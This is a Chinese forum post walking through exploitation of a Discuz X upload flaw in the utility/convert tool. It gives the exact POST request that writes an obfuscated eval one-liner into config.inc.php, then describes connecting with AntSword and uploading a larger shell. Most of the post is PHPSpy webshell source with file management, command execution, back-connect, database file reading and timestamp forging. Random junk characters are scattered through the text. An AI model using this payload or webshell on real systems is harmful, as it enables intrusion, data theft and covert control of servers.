找回密码
 立即注册
搜索
查看: 7904|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:9 h) e0 P6 S& s
想要拿下一台主机A的权限:
8 B+ s) ]1 A# L+ s1 ~* A1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞7 \4 g" ?, G7 {, l4 I2 M
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权' e. U. z& R: I' ~/ K
3、传上去后,得到apache用户普通权限,再提权成root
, E% F& j7 F4 \8 x5 C9 _概述:
4 k  i+ H+ c" f6 o+ h3 G这突破在一个DZ X系列自带的转换工具里面。
0 x  s/ S" v4 i/ {. S漏洞路径:utility / convert / data / config.inc.php
/ |1 o& `% x  Y; Z漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
$ y. P2 ]8 p  A8 h3 d触发突破过程:- B8 L9 }/ u: V' u& Y  \
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  " e) q: A" X6 ~5 S
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
/ m7 n" z+ ]' c, J2 n! c! H攻击过程:$ v8 I* l& Y2 ~6 h0 s. o( K
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/- M# [. u, x5 g; B' d+ O
, U! Y  v7 L, g* b; ~

( p1 y7 H+ e  G2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马2 s2 k; @# Q# }+ `; ], B5 G% o

9 F, H4 T5 i4 m# {7 W8、通过中国蚁剑上传大码
. B1 Y7 d- w1 \7 s
: y1 K0 v: K$ b) z# y9 X; d, {* J3 A' m$ }
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    6 C& R! R% D# Q- C% V* R) v/ X) N+ U/ G

  2. 7 |4 U9 u+ e+ g  t: I6 S) h
  3. /*****************************************************************************3 g3 A" C# |$ m5 t, P6 x

  4. 2 P) Z3 M7 c3 ]1 p* h
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    3 j, W5 d, P. ~% m

  6. : I, U: l& d! {% A5 M
  7. ====! K8 V( E9 F" H( v5 w, r

  8. ( M: T; S( P6 M# f; R$ Q
  9. - x! B" Y$ Y6 A5 [
  10. *****************************************************************************/! \& {' @" y# }& ^
  11. 6 J, _) z9 Y/ k3 \. D6 u" [
  12. error_reporting(7);% {% t) b: g1 I
  13. @set_magic_quotes_runtime(0);
    + R5 |2 Z- }0 n6 s* n
  14. ob_start();
    1 k% H% [/ `2 M; V, h# _$ x. f
  15. $mtime = explode(' ', microtime());! A. D4 X3 o$ L/ J
  16. $starttime = $mtime[1] + $mtime[0];+ R  F2 d7 g% @) ?6 i0 }
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');; a% o+ n0 h$ i- {8 b$ B1 v) c
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    6 \- @+ p% h* R
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    9 k5 G3 _( u2 ]: C3 D! o9 b+ @% ?: u
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    8 c2 N8 c  e0 w% F# i% W& Q# W
  21. define('IS_GPC', get_magic_quotes_gpc());
    $ t5 n( @2 e  Y& M( X6 R
  22. $dis_func = get_cfg_var('disable_functions');- m( F0 t" ^* g0 e* S+ f* U
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    7 g- W* |0 k7 K4 {0 j7 H
  24. @set_time_limit(0);
    8 B3 m8 k# c% T* k! N8 V

  25. 1 ^7 `. J/ g( T
  26. foreach(array('_GET','_POST') as $_request) {8 `$ H$ Q3 a- y( q  [6 i5 Z
  27.         foreach($$_request as $_key => $_value) {8 K" r! M$ P+ t* S6 k5 z0 b
  28.                 if ($_key{0} != '_') {
    5 D% y  H6 B% y4 M( [+ e
  29.                         if (IS_GPC) {
    / U  l( r7 L1 p) `! U) X" V
  30.                                 $_value = s_array($_value);( T" q" w4 `5 e3 d3 K; G
  31.                         }
    / k# d) \/ n/ D, i! K2 C& P( _  a% L
  32.                         $$_key = $_value;( u! m6 [5 n$ O1 M" A
  33.                 }- R8 q: ^6 e5 z& \
  34.         }: g# `$ S9 Q7 E. @1 X
  35. }/ q4 `. r3 k/ q/ c8 V  F
  36. 0 n/ @1 M. h1 ^' P" m! b0 o9 V0 I7 }5 f
  37. /*===================== 程序配置 =====================*/6 L" c/ F6 e: w& r3 V
  38. $admin = array();
    1 r! G8 \1 I$ O" _+ k" A+ ~& P& p2 R
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    ' k1 [8 G. o' h+ N% v* D
  40. $admin['check'] = true;+ G6 }/ K: N. m( e
  41. // 如果需要密码验证,请修改登陆密码
    0 h. M. P$ ~, Y, E. W
  42. $admin['pass']  = 'xuegod';8 \' Q6 i  ?) O! S- N  N. Q* @

  43. 8 T4 w7 Z4 }6 m3 i! R& ?/ e- }
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    , G; u* g) J; r% @* |% t
  45. // cookie 前缀/ y  A0 {% X& R% K$ ]- b% N& _/ ^
  46. $admin['cookiepre'] = '';- T: U, X  P% b( V5 L
  47. // cookie 作用域
    4 Q8 ~/ {9 }+ c* w
  48. $admin['cookiedomain'] = '';: J& y: o* {5 {6 H+ i; t4 ~
  49. // cookie 作用路径# x% e# P$ S& T; A$ A. w& {
  50. $admin['cookiepath'] = '/';
    * A! k' o. q# s0 J0 J2 ~. [' }/ J
  51. // cookie 有效期: ^+ A$ p4 b' Q" P
  52. $admin['cookielife'] = 86400;, Y/ w  i9 }, S: r) ]
  53. /*===================== 配置结束 =====================*/
    , ~+ c( Y* |: a
  54. ! T7 a" a4 x% a! U2 p  Y! H$ N
  55. if ($charset == 'utf8') {
    1 B) u9 l+ q( x  v) P5 k
  56.         header("content-Type: text/html; charset=utf-8");
    5 j& I! _# u7 L; B5 _
  57. } elseif ($charset == 'big5') {; m4 d. w9 y! \7 t
  58.         header("content-Type: text/html; charset=big5");
    ' r% _  Q; X  Z# C& l0 @, b( R
  59. } elseif ($charset == 'gbk') {, x) b0 @+ b$ j
  60.         header("content-Type: text/html; charset=gbk");- d% z$ t9 F" [. {
  61. } elseif ($charset == 'latin1') {( p) w$ c  }5 R9 x4 @
  62.         header("content-Type: text/html; charset=iso-8859-2");  r) \# v# m+ v6 R4 V4 F/ A" f/ W6 m
  63. }
    ) v, L1 t7 v5 h$ F7 q. x
  64. - _/ d+ q9 k6 [% d7 V5 z
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];2 ?; E7 b; n1 x. Q8 u3 B' K1 a: l
  66. $timestamp = time();3 ~- W' r' t4 b7 V
  67. 4 e3 B% b2 U6 ~
  68. /*===================== 身份验证 =====================*/
    * W# U6 ^. ~# u1 p7 J* P9 n  H
  69. if ($action == "logout") {
    ' t) l9 O$ v5 C
  70.         scookie('phpspypass', '', -86400 * 365);
    . N( F/ L' ?! _: o
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');; R  U7 R/ B' f1 Y/ y
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');/ W9 R+ L+ v4 W" t/ z3 V7 q5 Z
  73.         exit;/ m* o/ L9 h* Q0 i; a
  74. }
    6 @; O" w2 e- u% T2 Y% }+ h
  75. if($admin['check']) {+ d- y' v$ R5 |0 M0 N$ t6 N
  76.         if ($doing == 'login') {
    ; `0 }: G2 K; O8 K: {
  77.                 if ($admin['pass'] == $password) {
    3 \) z5 }% z+ f" T3 `9 m) D/ e
  78.                         scookie('phpspypass', $password);
    ; T2 p2 b0 B6 b" I* B  l1 G! W" D
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');. M: b0 |2 p: Z8 [
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ) ?  C5 f+ Q$ Y1 r& @9 ?
  81.                         exit;1 K5 u* ~) R! _; s% z4 z
  82.                 }; i5 B* _0 N5 {" ^6 r3 O' J
  83.         }
    # Q' ~% d& a% |4 z! R
  84.         if ($_COOKIE['phpspypass']) {
    2 V9 a; S' O7 o; J3 _8 T' q5 g
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {1 H* n( g2 m& W, N
  86.                         loginpage();
    : @9 ~& Z1 C; w! I% u6 `
  87.                 }
    : x8 T# R3 ~0 U' g1 h
  88.         } else {, S8 ]. C! X; M; P8 `4 z8 @
  89.                 loginpage();- Z$ I0 u; O! M8 X8 E
  90.         }
      a$ n3 R5 U7 [: f
  91. }2 }4 i) ~, J. n+ `  n2 ^
  92. /*===================== 验证结束 =====================*/
    . P  }2 p; y) d6 S/ r4 L
  93. 6 }' O" R4 P6 @" w. ]
  94. $errmsg = '';8 `. u* c" t- X9 D% @
  95. ' b4 U0 \1 \$ V
  96. // 查看PHPINFO
    : m# c: x, w+ F- y* E
  97. if ($action == 'phpinfo') {
    5 b* a' d6 @0 Z% U
  98.         if (IS_PHPINFO) {
    : o) c7 G7 `; G$ N2 W+ O
  99.                 phpinfo();, m  e7 Z2 ?. y. S
  100.         } else {
    8 C& j9 w4 [! I( s
  101.                 $errmsg = 'phpinfo() function has non-permissible';- j- k) G3 N% U" n1 J$ @- Q
  102.         }3 _; d4 f" U5 k4 t( J
  103. }! q- V' d0 l! B; D' C

  104. , U7 l  a, h7 Y$ a2 C3 @0 L
  105. // 下载文件) z- n/ n) N' H: D
  106. if ($doing == 'downfile' && $thefile) {) ?" }8 F+ |7 b; {, @  s+ i
  107.         if (!@file_exists($thefile)) {
    ) c$ q# R% D$ }" j
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
    9 C4 g7 c" X( p9 H& [' k0 R
  109.         } else {
    4 ?" P9 _: T3 [7 m
  110.                 $fileinfo = pathinfo($thefile);  \, ^- [/ C/ \/ M
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    * G* e" j( Z& q: u, U  D0 O/ a! x
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);8 m, G* n2 x" J& b9 [
  113.                 header('Content-Length: '.filesize($thefile));
    4 Y* c% k5 ~9 v% V
  114.                 @readfile($thefile);
    2 M+ J# _& }* j% t
  115.                 exit;
    3 q6 X$ ^4 u+ y! ?& d" S. m
  116.         }! ?& p0 O4 {% M, X4 ~/ ^
  117. }% Y8 F7 D6 G0 M$ {: F

  118. % C* h; w# t2 F3 o! r' q4 h
  119. // 直接下载备份数据库1 s8 i7 ?% Z  N( N8 t" C' E9 ^
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    , e! K* q% N9 x' k" V1 X$ a
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    6 m3 u% D9 l4 a; y, x2 A
  122.         $table = array_flip($table);
    ( ?' G8 r. r% F) y! J
  123.         $result = q("SHOW tables");
    6 r% E) H5 a  O4 N4 k
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    * f4 |% r8 ~# Y% G: u
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');8 [( I& k. H' o+ @( W
  126.         header('Content-type: application/unknown');8 t! J4 b  G. Y! O# s' i  T
  127.         header('Content-Disposition: attachment; filename='.$filename);
    + f( h  w' b0 ~2 u" A& m6 F, X
  128.         $mysqldata = '';
    1 {, h" N! o1 Q1 i. E5 p/ b
  129.         while ($currow = mysql_fetch_array($result)) {
    ; i8 M  Q* P# ^7 E9 r' K, f" Y
  130.                 if (isset($table[$currow[0]])) {
    6 v. S2 v; A% t+ b0 O, t4 H6 n
  131.                         $mysqldata .= sqldumptable($currow[0]);; R0 X3 k( \/ }' k3 D: W
  132.                 }
    & J: k+ V: E& z) J1 D( f. k
  133.         }) V6 m( f$ g1 x- K  [3 `. k
  134.         mysql_close();
    ' O4 y2 u0 b5 C. c
  135.         exit;
    ) u* ?# l2 U- ?3 T
  136. }* I/ x- G: ?+ _
  137. 6 K# ^  Q  c9 w+ e0 R: o
  138. // 通过MYSQL下载文件+ h+ b. Y% }( }' v! t4 B
  139. if($doing=='mysqldown'){1 U3 ~8 u5 j" m2 g2 z
  140.         if (!$dbname) {
    5 H! @- A. W  K, Y- W6 o3 Q4 y
  141.                 $errmsg = 'Please input dbname';1 m+ a  D- F7 o8 }
  142.         } else {
    + P2 y- a7 z# P( U$ |
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);' J* t  p, D& |: b, h- @3 m* U
  144.                 if (!file_exists($mysqldlfile)) {
    4 {0 _& c' x/ L- [1 T
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    9 A3 U2 b( s! Z& n' I4 m. o2 `4 z
  146.                 } else {, j! s: o# H2 a4 p' Z# c
  147.                         $result = q("select load_file('$mysqldlfile');");
    , ?6 t4 F) z  X( ^, r
  148.                         if(!$result){
    9 F6 w5 L& f" W1 B; k5 Z
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    ! @# r% I+ G' T+ T4 p
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    7 n( }; B6 `, V& F( J
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况' W& p$ L3 W$ }4 r1 M
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    ) p8 Q- q, u& v. \0 e2 r
  153.                                 $result = q("select content from tmp_angel");& f0 H  F6 K% t3 D
  154.                                 q("DROP TABLE tmp_angel");9 r& u1 P3 }) D; w* [
  155.                         }4 K( @  f( y( u. y6 A! l, g( c
  156.                         $row = @mysql_fetch_array($result);
    1 }2 y8 p7 E! W# @# c
  157.                         if (!$row) {
    * M% z5 |7 ~& a3 k
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    # K3 ]: q. D! B0 Y
  159.                         } else {4 w1 ~/ g' Z$ i/ e' l$ B  `
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    6 A6 D# n9 z/ l( H6 N# m0 d8 Y
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    - W, y) _2 ~2 @
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);7 T2 t! r) F- `- n1 z8 p  k
  163.                                 header("Accept-Length: ".strlen($row[0]));& b! K. D$ {' V' e" b, Y& i/ r
  164.                                 echo $row[0];
    . W2 C7 X( N( B; B2 y
  165.                                 exit;
    $ ?0 B% G: N1 \/ M# N8 Z2 f
  166.                         }. s- Z6 ]6 l3 S3 l- g9 v7 z
  167.                 }) i% j- u8 t! _0 @" R% |! L0 T
  168.         }% G% @+ b+ W6 T: \* e" Z
  169. }
    % `, G% @- ~9 m' T

  170. & D+ X" {6 I. O& Q& C* v
  171. ?>
    0 {# S8 }# [5 r" l/ l( ?; G% z
  172. <html>
    ' n4 |7 m% g, H3 `
  173. <head>* @1 m0 h; E. ?
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">0 G; r6 w( W2 P5 I+ J/ z4 f7 W$ {
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>$ W% {( m" k3 ^$ A% |
  176. <style type="text/css"># o+ s' p* [# [: W: e- \6 f* o, d( s4 B
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}# l& c* _. z: g3 H7 K1 P0 t
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}, e1 l$ ?  _1 c7 m: a7 z! Q
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}' V# e$ b* x9 N6 S. u- J) J
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}9 o$ V. \7 o- n9 r; D; x% J" z; ?
  181. a {color: #00f;text-decoration:underline;}
    6 y) Q6 U, r2 v" R3 a- {* R
  182. a:hover{color: #f00;text-decoration:none;}9 r& ]( D9 q& d& {0 c. o9 E& l4 E
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}4 i) ?  k, u: a  O
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    # q  p3 I8 G4 [$ E. E3 m
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    & M# O, w, G" c# D+ J
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    ! }9 `- V: J5 Q
  187. .head td span{font-weight:normal;}
    5 s: O$ S4 f# {; a( x' G
  188. form{margin:0;padding:0;}$ e- S7 L* I- X& v
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}7 N& f8 z/ z' o( U
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}/ ?. q$ p7 d. Y
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    3 w* I; ^! N( S" J% z! D
  192. </style>6 t; y* J* Z. m" d: g9 D5 l
  193. <script type="text/javascript">1 M. F8 |) N) I5 L& e6 S$ v
  194. function CheckAll(form) {/ ?4 J7 R! C0 O, I) b/ D
  195.         for(var i=0;i<form.elements.length;i++) {5 l) ^# [. o9 v' M$ e  _; O
  196.                 var e = form.elements[i];8 Y- r. s1 E# J! x
  197.                 if (e.name != 'chkall')& a* f: ^* n; V7 R2 L* M; }8 u  V6 B4 [# O
  198.                 e.checked = form.chkall.checked;
    2 P* N  q5 H1 W6 c0 W
  199.     }8 b) W! J# F# b3 ], {: O' z
  200. }
    $ W! b. E' f" U, ?* P/ [
  201. function $(id) {
    & k2 l" u5 J5 M0 f, F3 C
  202.         return document.getElementById(id);. R& B0 a# G4 }$ D/ q7 y$ @
  203. }
    " [8 L- d$ @3 i0 M4 W8 D
  204. function goaction(act){
    2 e0 I6 [; g) K5 x, I# `
  205.         $('goaction').action.value=act;
    & F% Y! j( i7 l# l+ [
  206.         $('goaction').submit();% n; w2 S0 v; W2 L
  207. }- P! Y! N1 J) w2 u9 \% O
  208. </script>" i4 r" f! ^) w# f
  209. </head>5 ]; K$ X7 I! L" {2 X5 ~
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    4 v0 F- M8 M, c8 u& Q0 E+ g
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    # G# C- i) q* D0 r" o
  212.         <tr class="head">+ g4 A6 g1 b2 I8 _
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>5 ~3 {/ T$ f$ J# u
  214.         </tr>
    $ F3 S- ^, Q4 X9 p9 a7 p7 j
  215.         <tr class="alt1">- P8 z3 |& B  `: z+ ]1 G$ l
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>4 @/ F; B4 C5 ^8 q- D
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    / l5 X" f4 o4 }; O
  218.                         <a href="javascript:goaction('file');">File Manager</a> | : Z6 }! L- I' F0 u
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | - F7 w) Q! o# k
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | 3 Q  }& ^# s3 A6 `0 c8 [
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | , v6 @9 [9 J" V) N' V
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    % Z6 v0 }. ?: U3 V# i; i, {* C
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>% E* R5 c* B% j, J) ^- G
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    : O0 l) `1 S$ i" r! M  u
  225.                 </td>
    : H& p  h* b6 L/ Y- g7 X, R' g3 B
  226.         </tr>
    9 v" q8 X% l' ~/ [5 r& ?- [
  227. </table>' K8 D  F: H7 K/ |- {0 q
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    8 Z  ?7 o* H$ r# v
  229. <?php
    6 D& r9 i9 T- _1 Y8 V; P6 S( H3 ~
  230. . C4 I9 H2 S: }6 H! j# {. S6 ]- J
  231. formhead(array('name'=>'goaction'));- \+ z8 O" y, `% P
  232. makehide('action');) [: X) [' Y5 _! y
  233. formfoot();) v7 J" d' w, {4 s. `1 k1 h

  234. 4 x' ^9 c2 S6 y5 p& R  x
  235. $errmsg && m($errmsg);6 O2 L$ Z" O# ]
  236. 0 y( C1 y' l/ ^- V3 y/ k3 [: t/ A
  237. // 获取当前路径1 w; l( @2 i. u# @* Y5 R" c% [
  238. !$dir && $dir = '.';$ Y5 U0 e* e7 X- _' R' s% N
  239. $nowpath = getPath(SA_ROOT, $dir);
    3 }$ W; [/ P: m, b, `1 y% |
  240. if (substr($dir, -1) != '/') {# q0 v! ]- _& D5 f6 ~* A: R
  241.         $dir = $dir.'/';- |; Z$ x' z$ `' X, h, c: u
  242. }) X9 o! N" @- r- e  \
  243. $uedir = ue($dir);; A/ }* a. W, U! m

  244. ! a& l' A) `! ]
  245. if (!$action || $action == 'file') {
    ( `) \5 a* t1 m+ _: [

  246. $ [2 q0 p9 f3 |; L9 \+ q" o
  247.         // 判断读写情况$ M. P3 d3 N9 \4 U
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    # x/ }# S3 x5 g

  249. 6 Y5 n0 T5 b' u' t- Q; M' F
  250.         // 删除目录
    ' t. _: N/ x; S9 `4 @7 _% F! g/ F
  251.         if ($doing == 'deldir' && $thefile) {. O+ p1 b0 Y' l" Z
  252.                 if (!file_exists($thefile)) {) m- v+ M5 y$ e5 l0 o4 h9 i
  253.                         m($thefile.' directory does not exist');* v8 |) K* S2 s1 G
  254.                 } else {
    4 I& [; [- B. H2 [7 d2 v
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));+ \$ E- Z# l0 z1 y
  256.                 }
    * W2 Z' s) r) V4 ^2 ^; E7 O
  257.         }  P& [1 p0 y3 X6 S

  258. % b6 C6 Q; o: B3 c& {4 @
  259.         // 创建目录
    $ F9 a! u4 ~. F7 N* ?9 r
  260.         elseif ($newdirname) {# X* N0 B4 @& M  g9 x% |1 {# A0 H2 M
  261.                 $mkdirs = $nowpath.$newdirname;
    0 K+ c7 e/ p/ H, Q8 E& z3 q& m
  262.                 if (file_exists($mkdirs)) {& ^: P: y$ p; U: d( F& }& S6 Q
  263.                         m('Directory has already existed');
    4 w- ~& T/ c! i% K
  264.                 } else {
    9 P7 R0 d) m1 a
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    % s' M: f: z3 u/ F2 U
  266.                         @chmod($mkdirs,0777);
    + @: C! [8 K# u+ ^+ F
  267.                 }1 N! H" Q3 \* W7 U6 N  z5 a
  268.         }
    0 e3 t: c8 h7 ?6 A+ [

  269. 0 A9 |. A9 x+ B7 p6 A5 V) w. s- n
  270.         // 上传文件6 m2 x. Q9 F; {) a
  271.         elseif ($doupfile) {  s- g8 W! f! \1 }: G
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));- F' _; g( z7 g4 q# m0 P
  273.         }
    4 L4 Q" {9 w' E
  274. % @4 n& [. b+ i) [$ s
  275.         // 编辑文件; [% C6 [  f( e6 Q+ G$ L
  276.         elseif ($editfilename && $filecontent) {
    8 d! b. i% G, [' a. A
  277.                 $fp = @fopen($editfilename,'w');
    % P9 k' T/ G; r, x5 _6 T" s1 j
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    6 W, s0 w' R2 a. g  i
  279.                 @fclose($fp);  r6 Q% }1 r9 i' W* L+ W
  280.         }3 A) |: C+ L% t! e

  281. 8 ?1 c' X2 d7 q" |- o3 C2 D+ q; c" Z
  282.         // 编辑文件属性
    * j3 W  d! I! R3 }0 U! `1 t
  283.         elseif ($pfile && $newperm) {4 K% }3 N, u, J
  284.                 if (!file_exists($pfile)) {
    * k2 m' k- ?8 x7 U! ]1 K0 b
  285.                         m('The original file does not exist');
    6 ^  z7 G' G/ J) p, l2 m
  286.                 } else {
    % j2 l" }" l& D5 W0 V; ?
  287.                         $newperm = base_convert($newperm,8,10);
    ) Q" c) D9 f- Z" X4 l+ Q1 n' I
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));& j# J4 c% w; U% l" Q
  289.                 }
    $ b3 J7 ~6 E0 c' M) B( q% ]+ T2 X
  290.         }
      s; }4 D4 D8 E5 ]
  291. 1 f1 G, ]1 @7 q8 j% p
  292.         // 改名1 ?6 K  s/ d% l- h0 M  e6 R; |. o
  293.         elseif ($oldname && $newfilename) {1 s" l: S# W5 j; m
  294.                 $nname = $nowpath.$newfilename;
    * D8 R, n- d6 }( X: q+ I
  295.                 if (file_exists($nname) || !file_exists($oldname)) {, Z* `# f8 a8 D# @' a
  296.                         m($nname.' has already existed or original file does not exist');& c& f$ F& R* }; J$ @: N+ Z! g
  297.                 } else {
    8 V- |, w# ^1 J0 a
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));8 y/ z2 [# J; _) O, V6 l
  299.                 }
    ! p- _; `" i/ T0 ?
  300.         }
    9 e4 z  L2 i7 R; ]
  301. 0 ]- ~+ e$ g  E) L) q
  302.         // 复制文件, S# c) W, H/ E3 o4 y1 k. e
  303.         elseif ($sname && $tofile) {+ V. Y  n% @$ {9 G$ G+ F& _: j: c2 p
  304.                 if (file_exists($tofile) || !file_exists($sname)) {
    / O8 j) w" e! K) k6 k' M
  305.                         m('The goal file has already existed or original file does not exist');3 [( L" ~+ v: {4 v' l' y
  306.                 } else {) h( G, W7 }3 r" X
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));* H1 q! h% l& f4 p$ R- H. V" A
  308.                 }
    + T4 m" Y& ]6 F2 ?) w/ E4 w9 I
  309.         }+ Y+ k! l2 ?9 L5 ]& y
  310. 7 y- ?1 K$ d; \9 Y4 r" D* {8 p6 I% O
  311.         // 克隆时间
    4 k9 z% {3 d6 G
  312.         elseif ($curfile && $tarfile) {9 K" `) o% Y6 I
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    : j: W9 w. j% u' ~2 Y4 C
  314.                         m('The goal file has already existed or original file does not exist');
    3 D- }' e" t) G5 v  h0 H
  315.                 } else {5 w& O  ?0 C) T' n1 }) a& i7 B; `
  316.                         $time = @filemtime($tarfile);  M* s3 x" Y8 c: V8 l
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));' R; Y2 ^2 l+ q+ I3 q* d
  318.                 }
    9 G, J& P( H, b. G8 F% v6 @9 [5 J
  319.         }
    " b6 W# G1 E# T3 o) H

  320. ) F$ B. {! j! Z. A! p3 O! \$ s
  321.         // 自定义时间% {8 b( p$ C5 Y
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    , v- x) m+ H% N8 T9 _4 N
  323.                 if (!@file_exists($curfile)) {
      u  T# \, }+ w' E& K% Z9 e4 z* w  W
  324.                         m(basename($curfile).' does not exist');7 ]7 e  m8 k" B. C0 E' `. z6 W; J
  325.                 } else {. \* p2 f2 n2 T/ {. e
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");. U7 t- L2 c) c8 a0 k3 q
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    3 _* A5 N1 U% \# @$ _0 m
